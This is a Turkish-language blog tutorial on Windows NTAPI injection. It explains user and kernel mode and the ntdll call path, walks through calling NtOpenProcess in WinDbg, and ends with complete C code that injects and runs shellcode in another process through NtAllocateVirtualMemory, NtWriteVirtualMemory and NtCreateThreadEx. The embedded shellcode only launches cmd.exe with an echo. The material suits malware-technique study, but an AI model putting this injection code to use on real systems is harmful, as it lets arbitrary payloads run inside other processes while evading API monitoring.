NTAPI Injection

Merhabalar. Bu blogta NTAPI Injection konusunu öğreneceğiz.

User mode ve Kernel Mode

Tekniğe geçmeden önce bazı temel şeyleri anlamamız gerekiyor ve User-Mode ve Kernel-Mode nedir bunlara bir göz atalım.

Windows işletim sistemi, temel olarak iki farklı çalışma alanı sunar: user mode (kullanıcı modu) ve kernel mode (çekirdek modu). Bu ayrım, işletim sisteminin güvenliğini, işleyişinin düzenlenmesi ve kaynakların verimli bir şekilde kullanılması üzerine kuruludur. Her iki alan da farklı roller üstlenir ve birbirini tamamlar.

User mode (Ring 3), işletim sisteminde çalışan uygulamalar ve process’ler için ayrılmış bir alandır. Bu modda çalışan process’ler, sistem kaynaklarına ve donanıma doğrudan erişemez. Bunun yerine, işletim sisteminin kernel modunda çalışan çekirdek bileşenlerine çağrılar yapar. Bu çağrılar, genellikle WinAPI ve asıl konumuz olan ve daha alt seviyede NTAPI üzerinden gerçekleştirilir. User mode alanın diğer özellikleri:

  • Kullanıcı uygulamalarının çalıştığı güvenli bir alan sağlar.
  • Çökme durumunda yalnızca ilgili uygulamayı etkiler, sistemin tamamını etkilemez.
  • Donanım erişimi için kernel mode’a geçiş yapması gerekir.

Kernel mode (Ring 0) ise işletim sisteminin çekirdeği ve donanımla doğrudan iletişimde olan bileşenlerin çalıştığı alandır. Bu modda çalışan driver’lar, sistem üzerinde tam kontrole sahiptir yani user-mode alanına kıyasla daha fazla ayrıcalığa ve güce sahiptir. Ancak bu güç, beraberinde büyük bir sorumluluk getirir: Kernel modunda oluşan hatalar tüm sistemi etkileyebilir ve çökmesine neden olabilir. Kernel mode alanın diğer özellikleri:

  • Donanıma ve sistem kaynaklarına doğrudan erişim sağlar.
  • Güvenlik önlemleri ve hata toleransı açısından daha az izole bir ortamdır.
  • NTAPI çağrılarının işlenip yürütüldüğü seviyedir.

NTAPI Nedir?

Eğer önceki DLL Injection ve Shellcode Execution blog yazılarımı takip ettiyseniz, bu tekniklerde kodlarımızı çalıştırmak için genellikle WinAPI işlevlerini kullandığımızı hatırlarsınız. Ancak WinAPI, Windows işletim sisteminin daha kullanıcı dostu bir katmanını temsil eder ve temelinde NTAPI (Native API) yer alır.

NTAPI, Windows’un hem kernel mode (çekirdek modu) hem de user mode (kullanıcı modu) uygulamaları tarafından kullanılan hafif ve düşük seviyeli bir programlama arayüzüdür. WinAPI’nin arka plandaki işleyişi büyük ölçüde NTAPI’ye dayanır. Örneğin, WinAPI işlevlerini gerçekleştiren birçok alt program, kernel32.dll gibi kütüphaneler aracılığıyla NTAPI çağrılarını kullanır.

Kafanıza daha iyi oturmak için bir senaryo oluşturalım. Diyelim ki user mode programından OpenProcess’i çağırdığımızı varsayalım. Aşağıdaki diyagramda gösterilen işlemler gerçekleşecektir:

Diyagramımıza göz attığımızda User mode programın çağırdığı OpenProcess API’si ilk olarak kernel32.dll‘de kütüphanesine yönleniyor ve artık bu modun son durağı olan ntdll.dll kütüphanesine yöneldiğinde NtOpenProcess’e dönüştüğünü görüyoruz. ntdll.dll kütüphanesi user-mode alanı için son duraktır ve artık bundan sonraki akış kernel alanında devam edecek.

Kernel alanında ise ilk olarak SSDT dediğimiz tabloya yönlendiriliyor Burada SSDT anlatarak kafanızı çok bulandırmak istemiyorum zira biraz ileri seviye ve kafa karıştırıcı bir konu. Ancak kafanızda kalması için şu şekilde düşünebilirsiniz: SSDT (System Service Descriptor Table), user mode’dan yapılan sistem çağrılarının kernel mode’daki doğru API’lara yönlendirilmesini sağlayan bir köprü görevi görür. Bu tablo, çağrılan Native API’ları alır ve kernel mode’da, ntoskrnl.exe içindeki ilgili adreslere yönlendirir. Eğer SSDT yakından tanımak isterseniz SSDT ile ilgili bloguma göz atabilirsiniz.

SSDT tablosundan sonra ise ntoskrnl.exe içerisinden NtOpenProcess’in adresine yönlendirilerek işlemlerin tamamlandığını görebiliriz.

Bunu canlı bir şekilde görmemiz de mümkün. Visual Studio’da sadece OpenProcess’i çağırdığımız proje oluşturalım ve ardından Windbg’da analiz ederek nelere dönüştüğüne göz atalım:

User-mode alanında son durak olan ntdll.dll’e bir breakpoint koyup programı çalıştırdıktan sonra Call Stack’e göz attığımızda ilk başta KERNELBASE!OpenProcess‘in çağırıldığını ve sonra ntdll!NtOpenProcess çağırıldığını görebiliriz. ntdll.dll’den sonra akış kernel alanında devam edecek.

NTAPI Injection Nedir?

Artık temel bilgilerden sonra asıl konumuza gelebiliriz.

NTAPI Injection tekniği, ntdll.dll tarafından sağlanan Windows Native API ile doğrudan etkileşim kurmayı içerir. Yani bu teknikten yararlanan bir malware, daha yüksek seviyeli Windows API’lar kullanmak yerine ntdll.dll’den daha düşük seviyeleri kullanır. Örneğin malware’da OpenProcess çağırılmaz ve direkt olarak alt seviyesi olan NtOpenProcess çağırılır.

Tekniği daha yakından anlamak için basit bir kodlama yapalım. Bunun için user-mode alanından direkt olarak ntdll.dll’den bir NTAPI nasıl çağırılır buna bakalım. Örneğimiz NtOpenProcess olacak.

Öncelikle kodlamaya geçmeden hazırlık yapmamız gerekiyor. Direkt olarak daha düşük seviyeli API’lar çağıracağımızdan ve bunlar user-mode alanları için tanımlanmadığından kendimiz tanımlayıp ardından adresini alarak çağırmamız gerekecek.

İlgili NTAPI oluşturmak için benim de sıklıkla yararlandığım NtDoc gibi sitelerden yararlanabiliriz:

Projenizde kullanmak istediğiniz NTAPI aratarak yapıya ulaşabiliriz. Bizim amacımız projede NtOpenProcess çağırmak olduğu için bunu aratalım:

Göründüğü gibi NtOpenProcess API’i dört parametre aldığını görebiliriz:

NTSYSCALLAPI
NTSTATUS
NTAPI
NtOpenProcess(
    _Out_ PHANDLE ProcessHandle,
    _In_ ACCESS_MASK DesiredAccess,
    _In_ PCOBJECT_ATTRIBUTES ObjectAttributes,
    _In_opt_ PCLIENT_ID ClientId
    );

Hatırlarsanız OpenProcess fonksiyonu üç parametre alırken alt seviyesi olan NtOpenProcess dört parametre almakta. Ayrıca OpenProcess’e kıyasla iki parametre farklı.

Şimdi bu aldığımız yapıyı projemize ekleyelim:

Yapıyı projemize eklediğimizde son iki yapılar için hata verdiğini göreceksiniz. Bunlar da usermode alanı için tanımlı olmadığından ntdoc gibi sitelerden bu yapıları tanımlamamız gerekecek. Sitede CLIENT_ID ve OBJECT_ATTRIBUTES diye aratarak yapıları ekleyebiliriz:

Bu iki yapıdan sonra hata aldığınız diğer yapıları da siteden aratarak tanımlayın. Böylece alışmış olursunuz.

Kodlamaya geçmeden önce son olarak NTSTATUS’u da tanımlamamız gerekecek. NTAPI’ların dönüş adresi NTSTATUS dediğimiz tipte olduğu için bunu da tanımlayıp NTSTATUS değerlerine göre başarılı olup olmadığını göreceğiz:

typedef _Return_type_success_(return >= 0) long NTSTATUS;

Bunu da projemize ekleyelim. Artık kodlamaya geçebiliriz:

#include <stdio.h>
#include <Windows.h>

typedef struct _UNICODE_STRING
{
	USHORT Length;
	USHORT MaximumLength;
	_Field_size_bytes_part_opt_(MaximumLength, Length) PWCH Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

typedef const UNICODE_STRING* PCUNICODE_STRING;

typedef struct _OBJECT_ATTRIBUTES
{
	ULONG Length;
	HANDLE RootDirectory;
	PCUNICODE_STRING ObjectName;
	ULONG Attributes;
	PVOID SecurityDescriptor; // PSECURITY_DESCRIPTOR;
	PVOID SecurityQualityOfService; // PSECURITY_QUALITY_OF_SERVICE
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;

typedef struct _CLIENT_ID
{
	HANDLE UniqueProcess;
	HANDLE UniqueThread;
} CLIENT_ID, * PCLIENT_ID;

typedef NTSTATUS(NTAPI* NtOpenProcess)(
	PHANDLE ProcessHandle, 
	ACCESS_MASK DesiredAccess, 
	POBJECT_ATTRIBUTES ObjectAttributes, 
	PCLIENT_ID ClientId
);

int main(int argc, char* argv[]) {
	if (argc < 2) {
		printf("Kullanim: program.exe <PID>\n");
		return -1;
	}
	DWORD PID = atoi(argv[1]);

	HMODULE NTDLL = GetModuleHandleW(L"ntdll.dll");
	if (NTDLL == NULL) {
		printf("NTDLL'in adresi alinamadi!\n");
		return -1;
	}
	printf("NTDLL adresi: 0x%p\n", NTDLL);

	NtOpenProcess NtOpenProcessAddress = (NtOpenProcess)GetProcAddress(NTDLL, "NtOpenProcess");
	if (NtOpenProcessAddress == NULL) {
		printf("NtOpenProcess adresi alinamadi!\n");
		return -1;
	}
	printf("NtOpenProcess adresi: 0x%p\n", NtOpenProcessAddress);

	HANDLE HandleProcess = NULL;
	OBJECT_ATTRIBUTES ObjAttr = { sizeof(ObjAttr), NULL };
	CLIENT_ID CID = { (HANDLE)PID, NULL };

	NTSTATUS Status = NtOpenProcessAddress(&HandleProcess, PROCESS_ALL_ACCESS, &ObjAttr, &CID);
	if (Status != 0) {
		printf("NtOpenProcess fonksiyonu basarisiz oldu! Status: 0x%08x\n", Status);
		return -1;
	}
	printf("NtOpenProcess fonksiyonu basarili!\n");

	return 0;
}

Kod parçamız bu şekilde. Detaylıca göz atalım:

HMODULE NTDLL = GetModuleHandleW(L"ntdll.dll");
if (NTDLL == NULL) {
	printf("NTDLL'in adresi alinamadi!\n");
	return -1;
}
printf("NTDLL adresi: 0x%p\n", NTDLL);

main içerisinde ilk olarak ntdll.dll’in adresini alarak başlıyoruz. ntdll’in adresini aldıktan sonra bu kütüphane içerisinden NtOpenProcess’in adresine ulaşacağız.

NtOpenProcess NtOpenProcessAddress = (NtOpenProcess)GetProcAddress(NTDLL, "NtOpenProcess");
if (NtOpenProcessAddress == NULL) {
	printf("NtOpenProcess adresi alinamadi!\n");
	return -1;
}
printf("NtOpenProcess adresi: 0x%p\n", NtOpenProcessAddress);

ntdll’in adresini aldıktan sonra GetProcAddress ile ntdll içerisinden NtOpenProcess’in adresini alıyoruz ve projede oluşturduğumuz NtOpenProcess yapısına bu adresi veriyoruz.

HANDLE HandleProcess = NULL;
OBJECT_ATTRIBUTES ObjAttr = { sizeof(ObjAttr), NULL };
CLIENT_ID CID = { (HANDLE)PID, NULL };

NTSTATUS Status = NtOpenProcessAddress(&HandleProcess, PROCESS_ALL_ACCESS, &ObjAttr, &CID);
if (Status != 0) {
	printf("NtOpenProcess fonksiyonu basarisiz oldu! Status: 0x%08x\n", Status);
	return -1;
}
printf("NtOpenProcess fonksiyonu basarili!\n");

Son olarak ise NtOpenProcess’i çağırıyoruz. Ancak ondan önce OBJECT_ATTRIBUTES ve CLIENT_ID yapılarını tanımlıyoruz.

Şu kısma da dikkat edin, OpenProcess’te PID değeri direkt olarak DWORD ile verilirken NtOpenProcess direkt olarak PID değerini almıyor ve CLIENT_ID’in birinci elemanı ve HANDLE tipinde olan UniqueProcess’e veriliyor.

Gözümüz bu kısımdaki if koşuluna kaysın. User mode WinAPI’larına kıyasla NTSTATUS tipinde sonuç döndüren NTAPI’larda eğer 0 sonucunu döndürürse başarılı olduğunu gösterir. Bu yüzden koşulda eğer sonuç olarak 0’dan farklı bir değer döndürüyorsa hata durumunu ekrana bastırıyoruz.

Programı direkt olarak çalıştırıp sonucu görmek yerine daha detaylı analiz ederek arka planda neler olduğuna bir tekrar bakalım. Windbg’a kodladığımız .exe dosyasını verelim:

Debug button’a basdıktan sonra main fonksiyona bir bp koyup çalıştıralım:

Windbg’ın üst kısmından View > Dissassembly seçeceğini aktifleştirelim ve gelen ekrandan main fonksiyonun disassembly haline göz atalım:

main fonksiyona göz atarken ilk olarak GetModuleHandeW ile aldığımız ntdll’in adresine göz atarak başlayabiliriz. GetModuleHandleW çalıştıktan sonraki kısma bir bp koyup rax’ın ne değer aldığına bir bakalım:

GetModuleHandleW çalıştıktan sonra rax’ın aldığı değere göz attığımızda ntdll.dll’in başlangıç adresine işaret ettiğini doğrulayabiliriz.

Sonraki durağımız GetProcAddress ile NtOpenProcess’in adresi alındığı kısım olacak:

Aynı şekilde GetProcAddress çalıştıktan sonraki kısma bir bp koyalım ve rax’ın aldığı değere göz atalım:

Görüldüğü üzere GetProcAddress’in çalışmasıyla 00007ffc`7c6dfbd0 adresi elde ediliyor ve adresi kontrol ettiğimizde ntdll içerisinden NtOpenProcess olduğunu görebiliyoruz.

Şimdi ise son olarak odağımızı NtOpenProcess’i çağırdığımız noktaya çevirelim:

Bu kısımda NtOpenProcess için parametrelerin hazırlandığını ve daha sonradan NtOpenProcess’i çağırdığını görebiliriz. Ancak bir şeyin dikkatinizi çekmesini istiyorum: parametreler ters olarak hazırlanmış. Sembol isimlerine bakarsanız ilk olarak CID yapısının hazırlandığını ve r9 register’a verildiğini ve en son olarak rcx register’a HandleProcess’in adresini verildiğini göreceksiniz.

OpenProcess gibi WIN32 API'lar stdcall çağırma kurallarını kullanır. Daha iyi anlamak için Microsoft Learn dökümanından yararlanabiliriz:

“Win32 API işlevlerini çağırmak için __stdcall çağrı kuralı kullanılır. Çağıran kişi yığını temizler, bu nedenle derleyici vararg işlevlerini __cdecl yapar. Bu çağırma kuralını kullanan fonksiyonlar bir fonksiyon prototipi gerektirir. stdcall değiştiricisi Microsoft’a özgüdür.”

WIN32 API’lar stdcall çağrı kuralını kullandığı için parametreler sağdan sola doğru hazırlanır:

Daha iyi anlamak için C kodumuza tekrar dönelim:

NTSTATUS Status = NtOpenProcessAddress(&HandleProcess, PROCESS_ALL_ACCESS, &ObjAttr, &CID);

Her ne kadar projede NtOpenProcess’in parametrelerini böyle hazırlasak da, OpenProcess stdcall kuralına dahil olduğu için arka planda bu parametreler sağdan sola hazırlanacaktır. Yani şu şekilde:

NTSTATUS Status = NtOpenProcessAddress(&CID, &ObjAttr, PROCESS_ALL_ACCESS, &HandleProcess);

Yine parametrelere hazırlanırken r9 gibi register’lara hazırlandığını göreceksiniz. Bu register’lar rastgele kullanılmıyor yine Windows’un x64 Calling Convention ile ilgili:

“İlk dört sıradaki tam sayı (integer) türündeki argümanlar sırasıyla RCX, RDX, R8 ve R9 kayıtlarına atanır. Beşinci ve daha sonraki argümanlar, yukarıda belirtildiği şekilde yığıta aktarılır.”

Fonksiyonun ilk dört parametresi rcx, rdx, r8 ve r9 register’lara aktarılır. Eğer dörtten fazla parametre barındırıyorsa diğerleri stack’e aktarılıyor. Daha iyi anlamak için NtOpenProcess’e yönelirsek, aşağıda gösterildiği gibi hazırlanacaktır:

NTSTATUS Status = NtOpenProcessAddress(&HandleProcess, PROCESS_ALL_ACCESS, &ObjAttr, &CID);
// r9 = &CID, r8 = &ObjAttr, rdx = PROCESS_ALL_ACCESS (1FFFFFh), rcx = &HandleProcess

Ayrıca Disassembly ekranına tekrar bakarsak bunu doğrulayabiliriz:

Artık main içerisinde NtOpenProcess’i çağırdığımız kısma bir bp koyalım ve programı p ile devam ettirerek NtOpenProcess’in döndürdüğü değere bakalım:

NtOpenProcess çalıştıktan sonra 0 değeri döndürdü. Ne demiştim hatırlayalım: NTSTATUS tipinde dönüş yapan Native API’lar, eğer 0 döndürürse başarılı olduğunu gösterir.

Projede yaptığımız işlemlerin diyagramını hazırlayalım:

İlk diyagramdan hatırlarsanız ilk durağımız kernel32.dll’di ancak projemizde bu kısmı atlayarak programda ntdll.dll’den NtOpenProcess’e ulaşıyoruz.

NTAPI ile Shellcode Çalıştırma

Artık NTAPI Injection tekniğinde neler yaptığımızı biliyoruz. Shellcode Execution projemizde yaptığımız adımları yapacağız ancak farklı olarak NTAPI kullanacağız.

Öncelikle projede utils.h header oluşturalım ve aşağıdaki kodları yapıştıralım:

#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>

#pragma once
#define STATUS_SUCCESS (NTSTATUS)0x00000000L
#pragma region STRUCTURES

typedef struct _OBJECT_ATTRIBUTES
{
    ULONG Length;
    VOID* RootDirectory;
    struct _UNICODE_STRING* ObjectName;
    ULONG Attributes;
    VOID* SecurityDescriptor;
    VOID* SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;

typedef struct _PS_ATTRIBUTE {
    ULONGLONG Attribute;
    SIZE_T Size;
    union {
        ULONG_PTR Value;
        PVOID ValuePtr;
    };
    PSIZE_T ReturnLength;
} PS_ATTRIBUTE, * PPS_ATTRIBUTE;

typedef struct _PS_ATTRIBUTE_LIST
{
    SIZE_T       TotalLength;
    PS_ATTRIBUTE Attributes[1];
} PS_ATTRIBUTE_LIST, * PPS_ATTRIBUTE_LIST;

typedef struct _CLIENT_ID
{
    HANDLE UniqueProcess;
    HANDLE UniqueThread;
} CLIENT_ID, * PCLIENT_ID;


typedef NTSTATUS(NTAPI* fn_NtOpenProcess) (
    OUT PHANDLE ProcessHandle,
    IN ACCESS_MASK DesiredAccess,
    IN POBJECT_ATTRIBUTES ObjectAttributes,
    IN PCLIENT_ID ClientId OPTIONAL
    );

typedef NTSTATUS(NTAPI* fn_NtAllocateVirtualMemory) (
    IN HANDLE ProcessHandle,
    IN OUT PVOID* BaseAddress,
    IN ULONG ZeroBits,
    IN OUT PSIZE_T RegionSize,
    IN ULONG AllocationType,
    IN ULONG Protect
    );

typedef NTSTATUS(NTAPI* fn_NtWriteVirtualMemory) (
    IN HANDLE ProcessHandle,
    IN PVOID BaseAddress,
    IN PVOID Buffer,
    IN SIZE_T NumberOfBytesToWrite,
    OUT PSIZE_T NumberOfBytesWritten OPTIONAL
    );

typedef NTSTATUS(NTAPI* fn_NtCreateThreadEx) (
    OUT PHANDLE ThreadHandle,
    IN ACCESS_MASK DesiredAccess,
    IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
    IN HANDLE ProcessHandle,
    IN PVOID StartRoutine,
    IN PVOID Argument OPTIONAL,
    IN ULONG CreateFlags,
    IN SIZE_T ZeroBits,
    IN SIZE_T StackSize,
    IN SIZE_T MaximumStackSize,
    IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL
    );

typedef NTSTATUS(NTAPI* fn_NtWaitForSingleObject) (
    _In_ HANDLE Handle,
    _In_ BOOLEAN Alertable,
    _In_opt_ PLARGE_INTEGER Timeout
    );

typedef NTSTATUS(NTAPI* fn_NtClose) (
    IN HANDLE Handle
    );

#pragma endregion

Ardından main.c projemizi kodlayalım:

#include "utils.h"

/*
    cmd.exe /K "echo NTAPI Injection with bekoo"
*/
char Shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x4b\x20\x22\x65"
"\x63\x68\x6f\x20\x4e\x54\x41\x50\x49\x20\x49\x6e\x6a\x65"
"\x63\x74\x69\x6f\x6e\x20\x77\x69\x74\x68\x20\x62\x65\x6b"
"\x6f\x6f\x22\x00";
size_t  ShellcodeSize = sizeof(Shellcode);

int main(int argc, char* argv[]) {
    if (argc < 2) {
        printf("Usage: .\\injection.exe <PID>");
        return -1;
    }
    DWORD PID = atoi(argv[1]);
    HANDLE HandleProcess = NULL;
    HANDLE HandleThread = NULL;
    HMODULE ntDLL = NULL;
    PVOID RemoteBuffer = NULL;
    size_t bytesWritten = 0;
    OBJECT_ATTRIBUTES  objAttr = { sizeof(objAttr), NULL };
    CLIENT_ID CID = { (HANDLE)PID, NULL };
	NTSTATUS Status = STATUS_SUCCESS;

    /* Get handle to ntdll and kernel32 */
    ntDLL = GetModuleHandleA("ntdll.dll");
    if (ntDLL == NULL) {
        printf("Failed to get handle for NTDLL! Error Code: 0x%lx\n", GetLastError());
        return -1;
    }

    /* NtCloseHandle */
    fn_NtClose ntClose = (fn_NtClose)GetProcAddress(ntDLL, "NtClose");

    /* NTOpenProcess */
    fn_NtOpenProcess ntOpenProcess = (fn_NtOpenProcess)GetProcAddress(ntDLL, "NtOpenProcess");
    Status = ntOpenProcess(&HandleProcess, PROCESS_ALL_ACCESS, &objAttr, &CID);
    if (Status != STATUS_SUCCESS) {
        printf("Failed to open handle to Process! Error Code: 0x%lx", Status);
        return -1;
    }

    /* NTAllocateVirtualMemory */
    fn_NtAllocateVirtualMemory ntAllocateVirtualMemory = (fn_NtAllocateVirtualMemory)GetProcAddress(ntDLL, "NtAllocateVirtualMemory");
    Status = ntAllocateVirtualMemory(HandleProcess, &RemoteBuffer, 0, &ShellcodeSize, (MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);
    if (Status != STATUS_SUCCESS) {
        printf("Failed to Allocate Memory in Process! Error Code: 0x%lx", Status);
        ntClose(HandleProcess);
        return -1;
    }

    /* NTWriteVirtualMemory  */
    fn_NtWriteVirtualMemory ntWriteVirtualMemory =
        (fn_NtWriteVirtualMemory)GetProcAddress(ntDLL, "NtWriteVirtualMemory");
    Status = ntWriteVirtualMemory(HandleProcess, RemoteBuffer, Shellcode, sizeof(Shellcode), &bytesWritten);
    if (Status != STATUS_SUCCESS || bytesWritten != sizeof(Shellcode)) {
        printf("Failed to Write Memory in Process! Error Code: 0x%lx", Status);
        ntClose(HandleProcess);
        return -1;
    }

    /* NtCreateThreadEx   */
    fn_NtCreateThreadEx ntCreateThreadEx =
        (fn_NtCreateThreadEx)GetProcAddress(ntDLL, "NtCreateThreadEx");
    Status = ntCreateThreadEx(&HandleThread, THREAD_ALL_ACCESS, &objAttr, HandleProcess, (RemoteBuffer), NULL, FALSE, 0, 0, 0, 0);
    if (Status != STATUS_SUCCESS) {
        printf("Failed to create Thread! Error Code: 0x%lx", Status);
        ntClose(HandleProcess);
        return -1;
    }

    /* NtWaitForSingleObject  */
    fn_NtWaitForSingleObject ntWaitForSingleObject =
        (fn_NtWaitForSingleObject)GetProcAddress(ntDLL, "NtWaitForSingleObject");
	Status = ntWaitForSingleObject(HandleThread, FALSE, NULL);
	if (Status != STATUS_SUCCESS) {
		printf("Failed to wait for Thread! Error Code: 0x%lx", Status);
		ntClose(HandleThread);
        ntClose(HandleProcess);
		return -1;
	}

	ntClose(HandleThread);
	ntClose(HandleProcess);

    return 0;
}

Artık bu kodlarda neler yaptığımızı biliyoruz o yüzden kodların detayına girmeyeceğim. Projeyi çalıştıralım:

Videodan görüldüğü üzere NTAPI’lar kullanarak başarılı bir şekilde Shellcode execute edebiliyoruz.

Sonuç

Bu konuda NTAPI’lara yakından değindik. User-mode ve Kernel-mode alanlarını teorik olarak tanıdık ve ardından NTAPI’lar üzerinde çalışma yaptık ve son olarak NTAPI’lar kullanarak Shellcode Exeucute ettik.

Umarım konu sizin için faydalı olmuştur. Diğer blogta görüşmek üzere.

Last updated on